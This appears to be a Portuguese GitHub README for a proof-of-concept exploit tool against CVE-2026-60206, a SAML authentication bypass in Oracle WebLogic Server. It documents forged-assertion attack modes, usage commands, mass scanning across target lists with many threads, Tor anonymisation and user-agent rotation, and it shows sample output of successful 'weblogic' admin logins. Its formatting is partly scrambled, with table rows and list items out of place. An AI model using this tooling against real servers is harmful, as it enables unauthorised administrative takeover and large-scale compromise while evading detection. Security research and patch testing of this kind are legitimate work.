
Technical analysis and Proof-of-Concept for CVE-2026-60206, a critical Oracle WebLogic Server SAML authentication bypass vulnerability.
Este repositório fornece uma prova de conceito de exploração para CVE‑2026‑60206, uma vulnerabilidade crítica de bypass de autenticação na implementação SAML do Oracle WebLogic Server. A falha permite que um atacante remoto com privilégios baixos comprometa completamente o servidor forjando asserções SAML.
⚠️ Aviso: Esta ferramenta destina-se apenas a pesquisas e testes de segurança autorizados. Utilize-a apenas contra sistemas que possui ou para os quais tem permissão explícita para testar. Os autores não assumem qualquer responsabilidade por uso indevido.
CVE-2026-60206 afeta o componente Core do Oracle WebLogic Server. A vulnerabilidade decorre de um tratamento inadequado de autenticação na implementação do protocolo SAML. Múltiplos vetores de ataque — como XML Signature Wrapping (XSW), aceitação de asserção não assinada, manipulação de NameID e bypass de audiência/condições — permitem que um atacante se passe por utilizadores arbitrários (ex.: weblogic) e ganhe acesso administrativo.
Versões Afetadas:
O PoC implementa os seguintes vetores de ataque:
WantAssertionsSigned não estiver ativado).AudienceRestriction para ampliar o âmbito.NotBefore/NotOnOrAfter para ignorar verificações de validade.all, unsigned, xsw, nameid, audience, conditions, combo ou replay.-l).-r).httpx se instalado, caso contrário recorre a requests (HTTP/1.1).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Necessário: requests, urllib3
Opcional (melhora a funcionalidade):
httpx – para suporte a HTTP/2lxml – para análise SAML avançadasignxml, cryptography – para tratamento de assinaturas (não necessário para exploração)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Bandeira | Descrição |
|---|---|
-t, --target TARGET | URL de um único alvo (ex.: https://host:7002). |
-l, --list LIST | Ficheiro de lista de alvos para varredura em massa, ou URL único. |
-l):| Bandeira | Descrição |
|---|---|
--exploit | Testar asserção SAML não assinada (padrão: apenas deteção). |
-T, --threads THREADS | Threads concorrentes (padrão: 10). |
| Bandeira | Descrição |
|---|---|
-v, --verbose | Aumentar verbosidade (saída de depuração). |
-q, --quiet |
detectRealiza deteção de versão e sondagem de endpoint SAML. Nenhum ataque é lançado.
unsignedInjeta uma asserção SAML completamente não assinada. Se o alvo não impuser WantAssertionsSigned, isto ignora completamente a autenticação.
Variantes: unsigned (padrão), unsigned_stripped (remove todas as referências de assinatura).
xsw (XML Signature Wrapping)Coloca uma asserção maliciosa não assinada antes (ou envolvendo) uma asserção assinada válida. O processador SAML pode selecionar a primeira asserção enquanto o validador de assinaturas verifica a assinada.
Variantes: xsw1 (simples prefixo), xsw2 (mesmo ID do original), xsw3 (wrapper aninhado), xsw4 (irmão).
nameidManipula o campo NameID para confundir o mapeador de identidade do WebLogic, permitindo a personificação de um utilizador diferente.
Variantes: comment_injection, whitespace, format_confusion, xpath_injection.
audienceIgnora as verificações de AudienceRestriction removendo ou modificando o elemento de audiência.
Variantes: remove_audience, wildcard_audience, extra_audience.
conditionsIgnora restrições baseadas em tempo (ex.: NotBefore, NotOnOrAfter).
Variantes: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboCombina XSW, asserção não assinada e manipulação de NameID numa única carga útil – o vetor mais provável para comprometimento total.
Variantes: combo_full (com injeção de comentário), combo_stealth (com nova linha).
replayRepete uma resposta SAML previamente capturada, opcionalmente modificando o destino ou removendo restrições de audiência.
Variantes: replay_modified (ajusta Destination/Recipient), replay_cross_sp (remove restrições de audiência).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
Para testar este PoC com segurança, configure um WebLogic Server com SAML ativado e uma das versões afetadas. Por exemplo, pode usar Docker:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
A configuração SAML deve incluir pelo menos um Service Provider SAML 2.0 com um endpoint ACS (ex.: /saml2/sp/acs) e metadados publicados.
Este projeto está licenciado sob a Licença GNU v3.0 – consulte o ficheiro LICENSE para mais detalhes.
Issues e pull requests são bem-vindos. Por favor, certifique-se de que as suas contribuições aderem às mesmas diretrizes de uso ético.
Lembre-se: Obtenha sempre autorização adequada antes de testar qualquer ferramenta de segurança. Seja ético!
--save-payloads).-c / --check) – determinar rapidamente se um alvo é vulnerável (não exploratório).| Bandeira | Descrição |
|---|
-h, --help | Mostrar mensagem de ajuda e sair. |
--proxy PROXY | URL do proxy (substituído por --tor se utilizado). |
--no-verify | Desativar verificação de certificado SSL. |
--cookie COOKIE | Cookie(s) de sessão (ex.: name=value; name2=value2). |
--auth AUTH | Credenciais de autenticação básica (USER:PASS). |
-f, --file FILE | Alias para --list. |
| Bandeira | Descrição |
|---|
-r, --requestfile REQUESTFILE | Carregar requisição HTTP bruta a partir de ficheiro (substitui ataques SAML). |
--method METHOD | Método HTTP a usar (para requisição bruta ou requisição única; padrão: GET). |
--random-agent | Usar um User-Agent aleatório da lista interna. |
-A, --user-agent USER_AGENT | Valor personalizado do cabeçalho User-Agent. |
--tor | Usar rede de anonimato Tor (SOCKS5 por padrão). |
--tor-port TOR_PORT | Porta do proxy Tor (padrão: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tipo de proxy Tor (padrão: SOCKS5). |
--check-tor | Verificar se o Tor está a ser usado corretamente (sai com veredito). |
--delay DELAY | Atraso em segundos entre cada requisição. |
--timeout TIMEOUT | Timeout em segundos (padrão: 30). |
--retries RETRIES | Número de repetições em caso de timeout/erros (padrão: 3). |
--retry-on RETRY_ON | Repetir requisição se o conteúdo da resposta corresponder a uma regex (ex.: 'captcha'). |
-dr, --disable-redirects | Desativar seguimento de redirecionamentos HTTP. |
| Bandeira | Descrição |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | Modo de ataque (padrão: all). |
--detect | Detetar versão do WebLogic e configuração SAML apenas (sem ataque). |
-c, --check | Verificação rápida de vulnerabilidade (apenas deteção, sai com veredito). |
-u, --user USER | Utilizador alvo a personificar (padrão: weblogic). |
--groups GROUPS | Grupos a incluir na asserção SAML (padrão: Administrators,Monitors). |
--issuer ISSUER | ID da Entidade Emissora SAML. |
--audience AUDIENCE | ID da Entidade Audiência SAML. |
--relay-state RELAY_STATE | Parâmetro RelayState para POST SAML. |
--base64 | Codificar a resposta SAML em Base64 no POST. |
--extra-attrs [NAME=VALUE ...] | Atributos SAML extra (ex.: role=admin). |
--replay-file REPLAY_FILE | Caminho para a resposta SAML capturada para replay. |
--save-payloads | Guardar payloads SAML gerados em ./payloads/. |
--continue-on-success | Continuar a testar após um ataque bem-sucedido. |
| Suprimir saída não essencial. |
--list-modes | Listar todos os modos de ataque com descrições e sair. |
-o, --output OUTPUT | Escrever relatório JSON ou CSV para ficheiro. |